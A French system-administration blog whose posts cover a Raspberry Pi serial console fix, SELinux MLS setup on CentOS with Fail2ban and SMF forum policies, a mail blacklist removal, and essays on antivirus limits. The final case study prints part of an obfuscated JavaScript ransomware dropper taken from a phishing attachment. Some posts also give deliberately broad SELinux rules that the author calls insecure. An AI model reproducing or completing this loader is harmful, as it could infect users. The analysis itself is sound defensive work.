UART et Raspberry PI

Ce post n’a rien de neuf, mais fera office de remember quand la même chose arrivera de nouveau.

Il y a maintenant quelques mois, je me suis retrouvé en face d’un petit problème avec mon raspi 3 et l’image RaspBian du moment.

Pour configurer la première fois mon raspi, j’utilise un câble console/USB (USB to TTL Serial), qui fait aussi office d’alimentation pour le raspi. Cela permet d’avoir un shell lors de la première connexion.

Le câble utilisé est celui-ci :
https://www.modmypi.com/image/cache/data/rpi-products/gpio/debug/USB-to-TTL-Serial-Cable-Debug-Console-Cable-for-Raspberry-Pi-2-800×609.jpg

Sauf que je me suis retrouvé avec l’impossibilité d’obtenir un shell à travers le câble console. Le symptôme est simple : rien ne s’affiche à l’écran.

Pour résoudre ce problème, j’ai donc dû connecter un écran et un clavier. En effet, la méthode consistant à ajouter la ligne

enable_uart = 1

dans le fichier config.txt n’a pas suffit…

Donc voici les étapes :

 

  1. Ajouter la ligne enable_uart= 1 dans le fichier /boot/config.txt
  2. Étendre le système de fichiers grâce à la commande raspi-config
  3. Installer la commande rpi-update
  4. Lancer la commande rpi-update en admin (donc sudo rpi-update) pour mettre à jour le firmware du raspi
  5. Rebooter

Normalement, une fois ces étapes effectuées, la sortie par le câble console devrait fonctionner.

Centos 7 et SELinux, quelques résolutions de problèmes

Lorsque l’on installe un serveur Centos 7 et que l’on active SELinux, on est par défaut dans la politique targeted. Cette politique, bien que déjà suffisante, ne répond pas à toutes les problématiques que l’on pourrait avoir sur un serveur. En effet, le fait de laisser des modules en unconfined peut clairement être un problème de sécurité.

Donc, la première chose à faire est d’installer une politique plus contraignante certes, mais surtout beaucoup plus restrictive.

Je préconise de passer directement en MLS avant d’installer les autres programmes. En effet, il est plus simple de résoudre les problèmes un par un, que de tous les avoir d’un seul coup.


# yum install selinux-policy-mls.noarch

Ce paquet ne vient pas tout seul

[root@ postfix]# yum deplist selinux-policy-mls.noarch
Modules complémentaires chargés : fastestmirror
Loading mirror speeds from cached hostfile
* base: centos.mirrors.ovh.net
* epel: ftp.nluug.nl
* extras: centos.mirrors.ovh.net
* updates: centos.mirrors.ovh.net
paquet : selinux-policy-mls.noarch 3.13.1-102.el7_3.15
dépendance  : /bin/bash
provider: bash.x86_64 4.2.46-21.el7_3
dépendance  : /bin/sh
provider: bash.x86_64 4.2.46-21.el7_3
dépendance  : coreutils
provider: coreutils.x86_64 8.22-18.el7
dépendance  : policycoreutils >= 2.5
provider: policycoreutils.x86_64 2.5-11.el7_3
dépendance  : policycoreutils-newrole >= 2.5
provider: policycoreutils-newrole.x86_64 2.5-11.el7_3
dépendance  : selinux-policy = 3.13.1-102.el7_3.15
provider: selinux-policy.noarch 3.13.1-102.el7_3.15
dépendance  : setransd
provider: mcstrans.x86_64 0.3.4-5.el7

Une fois cette politique installée, il faut aller modifier le fichier /etc/selinux/config et modifier la politique chargée pour mettre mls. Il est important de ne pas mettre la configuration en enforcing, sinon, le serveur risque de pas redémarrer.

Puis, il faudra installer policycoreutils-python-2.5-11.el7_3.x86_64 pour pouvoir manipuler les contextes de sécurité. Ce paquet nous sera nécessaire par la suite.

Il faut associer un compte utilisateur classique (celui qui administrera le serveur) à l’utilisateur SELinux staff_u. Ainsi, l’utilisateur devrait changer de rôle pour devenir sysadm_r pour pouvoir faire les actions d’administration.

Pourquoi le mettre dans staff_u et non en sysadm_u ? Simplement parce que SELinux va interdire la connexion en SSH des comptes associés à l’utilisateur SELinux sysadm_u. Ce paramètre est modifiable en manipulant les booléens SELinux, mais ce n’est pas conseillé.

Avant de redémarrer, il est nécessaire que SELinux relabellise le système de fichiers pour que les nouveaux contextes de sécurité soient appliqués. Pour cela, il suffit de taper


# touch /.autorelabel

Et de redémarrer le serveur. Le redémarrage va être plus long qu’un démarrage classique puisque le système va devoir parcourir entièrement le système de fichiers.

Premiers problèmes

Après la relabellisation et donc le redémarrage, certains fichiers ne possèdent pas le bon contexte de sécurité. Soit parce que le script de relabellisation n’a pas fonctionné correctement, soit parce que les fichiers ont été créés après le mécanisme. Dans tous les cas, vous aurez des erreurs et surtout, des restes de contextes de sécurité unconfined. Pour résoudre ce premier problème, il suffit de taper :


# restorecon -Rv /

Cette commande va forcer la relabellisation du système de fichiers.

Une fois cette première étape passée, vous allez sûrement installer des applications (serveur HTTP, MySQL, etc.). Cependant, vous allez être confrontés à ce genre de message et ce, malgré la relabellisation du système de fichiers.


type=AVC msg=audit(1488804756.793:6136): avc: denied { read } for pid=18603 comm="fail2ban-server" name="localtime" dev="sda1" ino=654211 scontext=system_u:system_r:fail2ban_t:s0-s15:c0.c1023 tcontext=system_u:object_r:locale_t:s15:c0.c1023 tclass=lnk_file

Pour résoudre ce problème, vous serez peut-être tenté de taper la commande magique (audit2allow) qui va lire le contenu des fichiers de logs SELinux et proposer une solution. Mais il se pourrait que l’erreur suivante apparaisse :


[root@ conf.d]# audit2allow -a
[Errno 2] Aucun fichier ou dossier de ce type: '/etc/selinux/mls/contexts/files/file_contexts.local'

Oupss… Bon, la résolution est assez simple puisqu’il suffit de créer le fichier file_contexs.local, même vide, pour que l’outil fonctionne correctement.

La solution au premier problème la plus naturelle est la suivante :


allow fail2ban_t locale_t:lnk_file { read };

Alors oui, il faut installer le paquet selinux-policy-devel (même si l’ANSSI dit que non, mais c’est nécessaire à la compilation et à la manipulation des politiques SELinux).


[root@ modules]# yum deplist selinux-policy-devel
Modules complémentaires chargés : fastestmirror
Determining fastest mirrors
* base: fr.mirror.babylon.network
* epel: fr.mirror.babylon.network
* extras: fr.mirror.babylon.network
* updates: fr.mirror.babylon.network
paquet : selinux-policy-devel.noarch 3.13.1-102.el7_3.15
dépendance  : /bin/sh
provider: bash.x86_64 4.2.46-21.el7_3
dépendance  : /usr/bin/make
provider: make.x86_64 1:3.82-23.el7
dépendance  : checkpolicy >= 2.5
provider: checkpolicy.x86_64 2.5-4.el7
dépendance  : m4
provider: m4.x86_64 1.4.16-10.el7
dépendance  : policycoreutils-devel >= 2.5
provider: policycoreutils-devel.x86_64 2.5-11.el7_3
provider: policycoreutils-devel.i686 2.5-11.el7_3
dépendance  : selinux-policy = 3.13.1-102.el7_3.15
provider: selinux-policy.noarch 3.13.1-102.el7_3.15

Mais cela ne suffira pas. En effet, vous allez avoir une violation d’une contrainte MLS puisque le lien symbolique est dans une sensibilité s15 et votre processus n’est qu’en s0-s15.

Il existe, au moins, deux solutions pour résoudre ce problème. La première, bien bourrine et qui peut laisser quelques failles de sécurité :


mls_file_read_all_levels(fail2ban_t);

Bon, la, on autorise le domaine fail2ban_t a contourné toute la politique MLS sur l’ensemble du système. Et surtout, vous allez avoir le même problème avec les autres applications qui ont besoin de lire la timezone (genre httpd ou maridb, toutes les applications dans la vraie vie). Donc, il va falloir autoriser l’ensemble des applications à contourner la politique MLS.

La seconde consiste à modifier le contexte de sécurité du lien symbolique et du fichier cible. Pour cela, on va taper les commandes suivantes :


chcon -hv system_u:object_r:locale_t:s0 /etc/localtime
chcon -hv system_u:object_r:locale_t:s0 /usr/share/zoneinfo/Europe/Paris

Avec cette méthode, il n’y a plus de violation des propriétés MLS.

Dernier point par rapport à ce premier post, il m’est arrivé de faire tout simplement crasher audit2allow sans trop savoir pourquoi. Ma supposition est que le fichier d’audit était bien trop gros (~8Mo) pour le programme, mais ce n’est qu’une supposition. La seule solution est de supprimer le fichier et de redémarrer le service d’audit.

Mail, Microsoft et trolls

Nous nous sommes retrouvés par malchance ou mégarde dans une blackliste mail. Ce qui avait pour conséquence que tous les mails envoyés vers les serveurs de Microsoft (hotmail et outlook en autre) nous étaient renvoyés avec le message suivant :


Host mx2.hotmail.com[65.55.33.135] said: 550 SC-001
(COL004-MC6F15) Unfortunately, messages from 5.135.176.69 weren't sent.
Please contact your Internet service provider since part of their network
is on our block list. You can also refer your provider to
http://mail.live.com/mail/troubleshooting.aspx#errors. (in reply to MAIL
FROM command)

Pour résoudre ce problème, nous avons dû remplir un formulaire en ligne pour se supprimer de cette blackliste. Pour ceux qui auront le même soucis, le lien est le suivant :

https://support.microsoft.com/en-us/getsupport?oaspworkflow=start_1.0.0.0&wfname=capsub&productkey=edfsmsbl3&locale=en-us&ccsid=636267274311800514

Chose amusante, le site de Microsoft n’accepte que des adresses IPv4, comme le montre la capture suivante MS Fail

Au moment de l’écriture de ce post, tout est rentré dans l’ordre. Il n’aura fallu que quelques heures pour être “dé-blacklisté”. Mais il faudrait quand même que Microsoft découvre que nous pouvons aussi l’IPv6.

SX, Centos 7 et un peu de sécurité

Comme vous l’avez sûrement vu, nous avons été offline pendant deux jours début mars. Cela nous a permis de passer de Centos 6 à Centos 7, Centos 6 arrivant à la fin de son support complet en Mai 2017 (comme l’indique le tableau suivant https://wiki.centos.org/About/Product ).

Je vais faire une série de petits posts sur les problèmes que nous avons rencontrés lors de l’installation, configuration et exploitation de cette nouvelle version de Centos 7 et des mécanismes de sécurité que nous avons voulus mettre en place.

Pourquoi choisir Centos ?

Il n’y a pas vraiment de vraies bonnes raisons. Les deux principales sont :

– Une distribution stable et fonctionnelle, c’est-à-dire que les paquets de base sont fonctionnelles et sont, pour la plupart, utilisables dès leur installation.
– Un support natif de SELinux. Si vous avez lu les précédents posts orientés Admin système et réseau, SELinux est le mécanisme de sécurité que nous avons choisi car il est intégré nativement au noyau et que les politiques de base sont presque toujours fonctionnelles. Nous aurions pu choisir “son grand concurrent”, à savoir Grsecurity, mais il est nécessaire de recompiler son noyau à chaque mise à jour, ce qui est assez contraignant.

Et, à la différence de ce que préconise l’ANSSI dans son guide de sécurisation d’un serveur Linux (https://www.ssi.gouv.fr/uploads/2015/10/NP_Linux_Configuration.pdf), nous avons choisi la politique MLS (multi-level security), qui, comme nous le verrons par la suite, ne s’est pas révélée sans conséquence.

La politique targeted, celle préconisée par l’ANSSI, laisse les utilisateurs et certaines applications n’ayant pas de politique SELinux spécifiques, dans un domaine non confiné (donc non contrôlé).

Inconvénient majeur : la version de certains paquets. En effet, PHP, Apache, etc, sont en version assez vieillottes, ce qui nous privent de fonctionnalités parfois importantes.

Qu’est-ce que l’on va installer ?

De manière non exhaustive :

– un serveur HTTP
– une base de données MySQL
– un serveur de mail
– un ensemble d’autres applications utiles à la gestion d’un serveur.

Et l’objectif étant de sécuriser le tout avec un peu de SELinx, un peu de Fail2Ban et un peu du reste.

SELinux et Fail2ban

Aujourd’hui, je vais vous présenter rapidement une configuration SELinux pour pouvoir utiliser Fail2ban de manière correcte.

Notre système système est toujours une Centos 6 à jour. La politique SELinux est une politique mls presque de base et l’objectif est de l’utiliser en mode enforcing.

# sestatus
SELinux status: enabled
SELinuxfs mount: /selinux
Current mode: enforcing
Mode from config file: permissive
Policy version: 24
Policy from config file: mls

Fail2ban est un logiciel de protection réseau qui va bannir pendant un temps spécifique les IP qui “tentent des choses” sur notre serveur. Pour cela, il doit aller lire le contenu de certains fichiers. Suivant la configuration ces fichiers vont être : messages, daemon, syslog, etc.

Sur une configuration de base, le module de politique SELinux pour Fail2ban n’est pas assez bien renseigné et Fail2ban ne peut pas se lancer. Il est nécessaire de lui donner quelques accès supplémentaire pour qu’il puisse fonctionner correctement.

Sur notre configuration, Fail2ban ne s’occupe que de : ssh, bind, httpd et postfix. Pour pouvoir lancer correctement Fail2ban, il faut commencer par rajouter ces éléments. On notera que par défaut, Fail2ban n’a pas le droit d’aller lire le contenu des fichiers de log alors que c’est son but principal…

allow insmod_t fail2ban_t:fifo_file { write read };
allow insmod_t fail2ban_tmp_t:file { write };
allow insmod_t inotifyfs_t:dir read;
allow insmod_t var_log_t:file read

mls_file_read_all_levels(fail2ban_t);
allow initrc_t fail2ban_t:unix_stream_socket { connectto };
allow initrc_t fail2ban_var_run_t:sock_file { write setattr };
allow fail2ban_t var_log_t:file { read getattr };

Il est nécessaire de générer une exception au niveau MLS pour que Fail2ban puisse lire les fichiers qui ne sont pas à son niveau de sensibilité (No Read Up de Bell-La Padula). Les règles sur l’init permettent de pouvoir (re)lancer le programme depuis la commande run_init.

Si vous souhaitez en plus rajouter le fait que Fail2ban aille lire le contenu de /var/log/audit/audit.log (pour activer le ssh-selinux par exemple), il suffit de rajouter les lignes suivantes :

allow fail2ban_t auditd_log_t:dir search;
allow fail2ban_t auditd_log_t:file read;
allow fail2ban_t auditd_log_t:file open;
allow fail2ban_t auditd_log_t:file getattr;
allow fail2ban_t auditd_log_t:dir read;
allow fail2ban_t auditd_log_t:dir getattr;

Il ne reste plus qu’à compiler la politique, la charger et lancer Fail2ban avec la commande run_init.

Un antivirus : quid de l’efficacité et de l’intérêt ?

Nous étions restés la dessus : Retour sur armadito antivirus.

Pour faire un résumé extrêmement rapide : l’idée de faire un projet orienté sécurité défensive (open-source) est une bonne idée et peut permettre de faire avancer les choses, l’idée de faire un antivirus a au moins 20 de retard. La question est donc pourquoi ?

A quoi sert un antivirus ?

Certains pourraient dire à rien et je ne serai pas loin d’être d’accord. Dans l’absolu, un antivirus n’est pas utile si vous avez une petite idée de ce que vous faites lorsque vous naviguez/connectez des périphériques, etc. Une bonne gestion des droits doit suffire, mais ce n’est pas le sujet qui nous intéresse. Quoique…

Comment juger de l’efficacité d’un antivirus ?

Plusieurs critères sont généralement mis en jeu (l’objet de cet article n’est pas de discuter de tous ces critères donc cette liste est loin d’être exhaustive) :

  • Le taux de reconnaissance des menaces “connues”
  • Le taux de détection des menaces “non connues”
  • L’utilisation des ressources du système : mémoire, CPU, etc.
  • On pourrait rajouter des choses comme : vitesse de scan, protection web, etc.

Les deux derniers points étant plus du confort d’utilisation qu’autre chose, nous ne les détaillerons pas.

Les menaces connues ? C’est le plus simple et ça dépend essentiellement de la capacité de l’entreprise derrière l’antivirus à intégrer les menaces qu’elle détecte et à dispatcher ces mises à jour.

Le nerf de la guerre, ce sont les menaces non connues. Comment savoir si le binaire que l’utilisateur veut exécuter est sain ou malveillant ? et c’est bien là toute la question.

Je ne sais pas s’il est pertinent de faire une liste des techniques utilisées par les entreprises pour déterminer si un programme est malveillant ou non.

On va juste essayer de faire un “meta”-tour de ces techniques pour pouvoir introduire la suite :

  • Le pattern matching : on détecte un ensemble d’instructions qui correspondent à un comportement malveillant. Actuellement, c’est (sûrement?) YARA qui est le plus utilisé
  • Analyse comportementale : est-ce que le fichier correspond à un comportement déjà observé ?
  • Sandbox : exécution du fichier pour savoir ce qu’il fait

Même si on parle ici de menaces non connues, toutes ces techniques se basent sur des “choses” connues. Mais dans ce cas, comment traiter les fichiers jamais vus par les antivirus et qui donc ne rentrent pas dans une de ces catégories ?

Prenons un exemple simple : imaginons un programme exécuté par un utilisateur depuis son Bureau. Ce programme va :

  • Lire le contenu du dossier courant
  • Se connecter à un site
  • Envoyer une image qui se trouve sur ce Bureau sur le site.

Comment savoir si ce comportement est un comportement malveillant ou pas ? La première réponse est de regarder le site sur lequel le programme se connecte. Mais l’identification d’un nom de domaine est un problème de recherche assez complexe et pas aussi trivial qu’il n’y paraît (Domain Generation Algorithm). Sans rentrer plus dans le détail du fichier, il n’est donc pas évident de savoir si ce comportement est malveillant.

La réponse est donc aujourd’hui simple : on ne peut pas (bon ok, on peut estimer dans une certaine mesure grâce à l’utilisation des différentes techniques, mais il est rare de pouvoir être sûr à 100% sans une analyse fine, voir manuelle, du fichier). Et heureusement d’ailleurs, car sinon toutes les recherches sur ce sujet seraient déjà finies et on risquerait de s’ennuyer.

Si on est capable d’estimer cette potentielle menace, qui doit prendre la décision : l’antivirus ou l’utilisateur ? L’un comme l’autre peuvent se tromper et par conséquent compromettre le système par une mauvaise décision.

Mais alors, quelle est la solution ?

La solution est à la fois simple mais complexe (surtout à mettre en place). Il suffit de ne pas autoriser l’exécution de programme qui ne sont pas reconnus “comme de confiance” par l’administrateur. Cela ne peut passer que par un contrôle fin des programmes et des autorisations données aux utilisateurs. En contrôlant les accès sur le système, nous sommes capables de bloquer les actions qui sont considérées comme illégitimes. On fera donc la distinction entre malveillant (qui va potentiellement attaquer le système) et illégitime (qui sont des actions non souhaitées).

Cette philosophie est décrite dans ce que l’on appelle : les mécanismes de contrôle d’accès obligatoire. Ils autorisent uniquement les programmes présents dans la politique de sécurité à réaliser des actions définies sur le système. Tout binaire exécuté par la suite et non présent dans la politique sera (en théorie) bloqué. Il existe des implémentations sur les systèmes Linux : SELinux et GrSecurity (pour les deux plus connus).

Ces mécanismes ont toutefois des inconvénients majeurs :

  • Ils sont extrêmement complexes à configurer : il faut autoriser chaque action une à une pour chaque programme du système. Cela peut rapidement être long et fastidieux.
  • Ils contraignent à figer le système. Une fois la politique appliquée, tout programme non autorisé sera bloqué. Et à chaque mise à jour/ajout de programme, il est nécessaire de refaire tout ou une partie de la politique pour s’assurer du bon fonctionnement du système.
  • Ils n’empêchent pas l’exploitation des programmations, mais en réduisent les conséquences sur le système. Pour empêcher l’exploitation, il est nécessaire d’utiliser des mécanismes externes à l’image de PaX sur Linux.

Grâce à ces mécanismes de protection, nous sommes capables de :

  • (pré)calculer, par avance, l’ensemble des opérations autorisées sur le système.
  • vérifier des propriétés de sécurité : est-ce qu’un utilisateur peut aller lire des fichiers interdits ?

Toutes ces opérations se basent sur la politique de contrôle d’accès établie qui se doit donc d’être parfaite.

Quelles conclusions tirer de tout cela ?

La première conclusion est que, tant que l’on fera confiance aux antivirus pour protéger les systèmes, nous aurons un temps de retard. Les attaques de types Stuxnet montrent bien que, dès que les attaquants utilisent des techniques un peu différentes, les antivirus ne sont plus capables de protéger quoique ce soit.

Le seconde conclusion est qu’il existe des mécanismes capables de protéger les systèmes “by design” (en admettant qu’il n’y ait pas de problèmes dans ces mécanismes). Cette notion est loin d’être nouvelle puisqu’elle date des années 70, Anderson.

La question qu’il faut donc se poser est pourquoi n’avons-nous pas plus de projet proposant ce genre de solution alors que l’on sait qu’elles proposent un modèle de protection efficace ? Alors que l’on voit (dans les grandes conférences de sécurité, certains diraient de hacker) uniquement des choses orientées vers le pentest ou de la recherche de vulnérabilités et n’apporte rien à l’état de l’art…(ce n’est pas moi qui le dit mais Brad Spengler

Utiliser SELinux pour protéger un forum SMF

Un article un peu pratique : comment configurer SELinux pour protéger un forum de type SMF (simple machine forum) ? (c’est largement utilisable pour d’autres forums).

SELinux fera l’objet d’un billet spécifique donc je ne le présente pas ici.

La configuration de base

Pour être efficace, SELinux doit être en mode enforcing. De plus, comme on le verra dans un prochain billet, nous avons fait le choix d’utiliser la politique MLS.

La configuration du serveur

Nous utilisons la configuration suivante :

  • Centos 6 à jour
  • SELinux : politique MLS
  • LibSELinux-devel
  • HTTPD (apache)

En détails, les dépendances pour SELinux :

[root@ossus]# rpm -qa | grep selinux
libselinux-utils-2.0.94-7.el6.x86_64
libselinux-2.0.94-7.el6.x86_64
libselinux-devel-2.0.94-7.el6.x86_64
libselinux-python-2.0.94-7.el6.x86_64
selinux-policy-3.7.19-292.el6.noarch
selinux-policy-mls-3.7.19-292.el6.noarch
selinux-policy-targeted-3.7.19-292.el6.noarch

Avec la politique de base, nous avons donc

ps auxwZ | grep apache
system_u:system_r:httpd_t:s0-s15:c0.c1023 apache 4410 0.5 1.2 478756 49552 ? S 16:25 1:01 /usr/sbin/httpd

Le contexte d’apache est donc system_u:system_r:httpd_t:s0-s15:c0.c1023.

SMF est installé dans le répertoire /var/www/html/forum/.

La politique SELinux

Avec la politique de base de SELinux, les éléments présents dans /var/www/html ont le contexte suivant : httpd_sys_content_t

Par défaut, httpd_t n’a pas les permissions de modification (création, suppression, exécution, etc.). Pour preuve, les AVC générés par apache :

type=AVC msg=audit(1466969654.803:74508): avc: denied { add_name } for pid=29483 comm=”httpd” name=”” scontext=system_u:system_r:httpd_t:s0-s15:c0.c1023 tcontext=system_u:object_r:httpd_sys_content_t:s0 tclass=dir
type=AVC msg=audit(1466969654.880:74511): avc: denied { setattr } for pid=29483 comm=”httpd” name=”” dev=sda1 ino=1182475 scontext=system_u:system_r:httpd_t:s0-s15:c0.c1023 tcontext=staff_u:object_r:httpd_sys_content_t:s0 tclass=file
type=AVC msg=audit(1466969656.954:74512): avc: denied { remove_name } for pid=29483 comm=”httpd” name=”” dev=sda1 ino=1702698 scontext=system_u:system_r:httpd_t:s0-s15:c0.c1023 tcontext=system_u:object_r:httpd_sys_content_t:s0 tclass=dir
type=AVC msg=audit(1467154855.120:80140): avc: denied { write } for pid=5473 comm=”httpd” name=”” dev=sda1 ino=1182554 scontext=system_u:system_r:httpd_t:s0-s15:c0.c1023 tcontext=staff_u:object_r:httpd_sys_content_t:s0 tclass=file

Donc par défaut, apache n’a pas la possibilité de modifier les répertoires présents dans le sous-répertoire du forum (ni les fichiers par extension).

Le problème c’est qu’il est nécessaire pour apache de pouvoir écrire dans certains répertoires comme celui du cache, des fichiers joints, avatar, etc.

Première méthode

On autorise tout : d’un point de vu sécurité, c’est pas top top. Il suffit de faire une règle

allow httpd_t httpd_sys_content_t:dir *;
allow httpd_t httpd_sys_content_t:dir *;

et on est tranquille.

Deuxième méthode

On fait ça proprement.

File context

Création du file_context spécifique :

var/www/html/forum/attachments system_u:object_r:http_wr_smf:s0
/var/www/html/forum/attachments/*.* system_u:object_r:http_wr_smf:s0

/var/www/html/forum/avatars system_u:object_r:http_wr_smf:s0
/var/www/html/forum/avatars/*.* system_u:object_r:http_wr_smf:s0

/var/www/html/forum/cache system_u:object_r:http_wr_smf:s0
/var/www/html/forum/cache/*.* system_u:object_r:http_wr_smf:s0

/var/www/html/forum/Packages system_u:object_r:http_wr_smf:s0
/var/www/html/forum/Packages/*.* system_u:object_r:http_wr_smf:s0

/var/www/html/forum/Settings.php system_u:object_r:http_wr_smf:s0
/var/www/html/forum/Settings_bak.php system_u:object_r:http_wr_smf:s0
/var/www/html/forum/Sources/Load.php system_u:object_r:http_wr_smf:s0

Quelques explications :

  • attachments : contient les pièces jointes mises sur le forum
  • avatars : explicite
  • cache : cache du forum
  • Packages : contient les archives pour installer des modules/mises à jour du forum
  • Settings.php : pour pouvoir modifier les configurations depuis le serveur
  • Load.php : coeur du forum

Tous ces fichiers ayant (presque) les mêmes demandent de permissions, on va leur créer un type spécifique http_wr_smf On pourrait affiner un peu en créant un contexte spécifique pour chaque catégories,, mais dans un soucis de clarté, on va rester simple.

Règle SELinux

Il reste maintenant à donner l’autorisation à apache de réaliser des actions spécifiques sur ce type.
On créé le nouveau type :

type http_wr_smf

Puis on fait les règles qui vont bien :

allow httpd_t http_wr_smf:file { read write create setattr getattr unlink open rename lock} ;
allow httpd_t http_wr_smf:dir *;

allow httpd_t http_wr_smf:filesystem { associate };
allow http_wr_smf fs_t:filesystem { associate };

On compile (j’ai volontairement omis les types requis à la compilation). On charge la nouvelle politique et on applique les nouveaux contextes de sécurité, soit en utilisant restorecon soit autorelabel.

On a donc un forum fonctionnel avec SELinux en enforcing.

Retour sur armadito antivirus

Depuis maintenant quelques jours, bon nombre de personnes critiquent/jugent un projet qui est arrivé sur GitHub et qui se nomme Armadito Antivirus. Ce projet est porté par la société Teclib’.

Avant toute polémique, le but de ce billet n’est pas de savoir si ces sources sont issues ou non du projet DAVFI. Pour ceux qui ne comprennent pas, je vous laisserai chercher avec votre moteur de recherche préféré pourquoi j’écris ça. Non, ici le but est de s’interroger sur la pertinence ou pas de ce projet, pertinence scientifique bien sûr.

Qu’est-ce que Armadito Antivirus ? Pour le savoir, allons voir ce qui est dit sur le site (extrait au 9/07/2016) :

Armadito Antivirus is an open-source antivirus that protects your computers and servers from malware and viruses.

Armadito includes classical signature-based malware detection and provides innovative heuristic detection modules for binaries (MS-Windows and GNU/Linux) and for PDF documents.

An intuitive and user-friendly interface gives access to all Armadito’s features: on-demand scanning, real-time protection, quarantine zone, threat detection journal…

Armadito is remotely manageable for enterprises and organisations using a central administration console.

Un projet open-source, qui semble être développé par une entreprise française, en voila deux bons points.

Est-ce une réelle bonne idée ?

Un projet open-source ?

Premier point, et même si beaucoup de personnes pensent que non, je trouve que c’est une bonne idée. Nous avons ici un antivirus (souverain ?) dont tout le monde peut lire/vérifier/compiler les sources et se faire sa propre idée. On ne pourra pas leur reprocher de cacher des backdoors, puisque si backdoors il y a, on pourra les repérer en lisant le code source mis à notre disposition. La plupart des personnes qui râlent sur ce projet pestent aussi sur le fait que les autres projets ne publient pas leur code. Nous avons accès à tout (en tout cas pour l’instant).

Alors oui, quelqu’un qui publie son code source s’expose à ce genre de critiques : ça ne fait pas ci, il faudrait faire comme ça, etc. Mais on attend toujours la publication d’outils utiles de la part de ces mêmes personnes pour faire avancer la (recherche ?) sécurité informatique plutôt que de critiquer de manière gratuite.

Un outil pour faire la sécurité défensive

Second point, enfin un outil défensif. On trouve énormément d’outils offensifs : fuzzing, recherche de vuln, exécution d’exploits, pentest, etc. Mais peu d’outils défensifs qui font réellement de la protection. De plus, ce genre d’outil s’utilise généralement quand il est trop tard. Certes ce n’est qu’un antivirus, et il en existe pléthore, mais il a le mérite d’exister. A voir s’il sera efficace ou s’il mourra de sa belle mort tout comme Tiranium Antivirus. Je ne m’attarderai pas sur la description donnée sur le site qui vante ses qualités de détections et de protection, le mieux étant de tester pour se rendre compte de la réelle efficacité ou non d’un produit, chose que je n’ai pas encore faite.

Est-ce réellement une si bonne idée ?

On pourrait essayer de faire des paragraphes entiers à défendre le projet mais il est nécessaire de se poser la question du réel intérêt scientifique de ce (genre de) projet. Dans l’idée, les deux points positifs que je retiendrai sont le côté open-source et un outil de sécurité défensive. Mais cela ne rattrape pas ce qui va suivre.

Faire un antivirus ?

Nous sommes en 2016, l’informatique existe depuis maintenant plusieurs dizaines d’années, Internet a explosé depuis les années (19)95 et, avec, les menaces informatiques. On est passé du virus, aux spywares, aux rootkits, aux ransomware, etc. Les malware deviennent de plus en plus évolués et complexes à étudier et à supprimer d’un système. Dans ce cyber-digital-monde-de-pirate (poke Gof), la réalisation d’un antivirus montre juste le retard de l’industrie dans la protection des systèmes. On verra pourquoi dans un prochain article.

On peut noter, de plus, que le marché propose déjà un très (trop ?) grand nombre de logiciels anti-truc : antivirus, antimalware, antispyware, etc. Je ne vais pas m’amuser à tous les citer, je risquerai d’en oublier une bonne partie. Mais la multitude des outils n’a pas fait baisser la menace, ni rendu le surf plus sûr, ni éradiqué la faim dans le monde.

La plupart de ces outils sont (que je considère comme) des outils de détections. Ils ne sont pas capables d’anticiper les menaces et dès que quelque chose sort un peu de l’ordinaire (une exploitation d’une faille inconnu, un cheminement non conventionnel pour un malware), tous les outils sont dépassés. On pourrait aussi discuter des méthodes innovantes de protection pro-actives, mais il faudrait déjà comprendre ce que ça veut dire. Aucun outil n’est réellement capable de faire de la protection du système de manière efficace, c’est-à-dire bloquer un binaire avant son exécution. Un antivirus s’utilise en amont, pour protéger le système, pas pour supprimer les choses qu’il trouve, encore faut-il qu’il soit capable de le faire.

Les entreprises proposant des antivirus ou des antimalware ne sont que dans la réaction et non dans l’anticipation/la création. C’est pour cela qu’ils seront toujours derrière en matière de protection. Il n’y a que très peu de recherches (que ce soit académique ou industrielle) proposant des méthodes de protections efficaces, qui ne reposent pas sur des “choses” que l’on a déjà vu.

Donc, même si ce projet a le mérite d’exister et propose des choses, il ne va pas faire avancer la recherche ni la sécurité informatique. Ce n’est qu’un outil de plus parmi la longue liste d’outils antimachin qui ne sera pas efficace pour protéger de manière efficace un système et ces utilisateurs.

Une petite note amusante : le CERT-FR a déjà publié une note concernant une vulnérabilité dans cet antivirus CERT-FR

Nous verrons dans un prochain article les remèdes et les solutions à cela.

Un remerciement à Gof pour sa relecture.

Étude de cas : Mail piégé => Ransomware

Une pièce jointe énigmatique

Plusieurs emails similaires reçus sur la boite d’une association.

L’émetteur tente de se faire passer pour une association locale. Le mail est adressé uniquement à d’autres associations elles aussi locales.

L’objet et le contenu du mail sont identiques :

DATE:12/7/2015 9:15:25 PM

Une pièce jointe nommé ui.zip est présente dans le mail. Elle contient elle-même un fichier invoice_Hdiw86.js. Voilà le contenu du fichier js,

[code]qGjOBZec=[0x4,0x8,[…],0x278,0x27d];
seMgUoF=[‘=’,’H’,[…],’f’,'”‘];
function X(LkEObFdAojiX,nNYCtVfxgyPFrP){LkEObFdAojiX.push(nNYCtVfxgyPFrP);}
function fNwgv(PkTwMvAGDBu,ZfCTIykaLxKsZ,uwuCBUdT){AXxZ=OADGgMDOZDXPACpsg(PkTwMvAGDBu,ZfCTIykaLxKsZ);aiMhp=AXxZ.toString(uwuCBUdT);return aiMhp;}
function PswFEBrBcfpSpnX(RLyLZfjWZTXEWwnlh,YcrfSdCfrHuwvXMAdKpVlCOMwvshbyNITB,
ErWwlPumUeNNevQnFXTmmoMaHCbuZCvOoun){eval(RLyLZfjWZTXEWwnlh);}
function mHMUYgnayzvVNVMQDONDONagtoBncujsXyCFiFbHkTxWDpYVLnZNlE(NCdwKhnkSmTKZ,SNYkBvrHSWqvpB){ return seMgUoF[qGjOBZec[fNwgv(NCdwKhnkSmTKZ[SNYkBvrHSWqvpB],(16369+39)/586,(1518+932)/245)]];}
function owBSdyJ(PRUxawyfHyEIHDwScGOGKErsaWNyVrfQCVDa) {return !AWOhLTHpjYC(YndDdAIKxqtAfLk(PRUxawyfHyEIHDwScGOGKErsaWNyVrfQCVDa)) && eFwLixJjagVm(PRUxawyfHyEIHDwScGOGKErsaWNyVrfQCVDa);}
function AWOhLTHpjYC(SwDqmwTCIUVEug) {return isNaN(SwDqmwTCIUVEug);}
function eFwLixJjagVm(VzesqKjqDRtPu) {return isFinite(VzesqKjqDRtPu);}
function OADGgMDOZDXPACpsg(ASfxNmskPV,GnQUANeZWr) {return parseInt(ASfxNmskPV,GnQUANeZWr);}
function YndDdAIKxqtAfLk(jUimLHMJxQascjwdNxh) {return parseFloat(jUimLHMJxQascjwdNxh);}
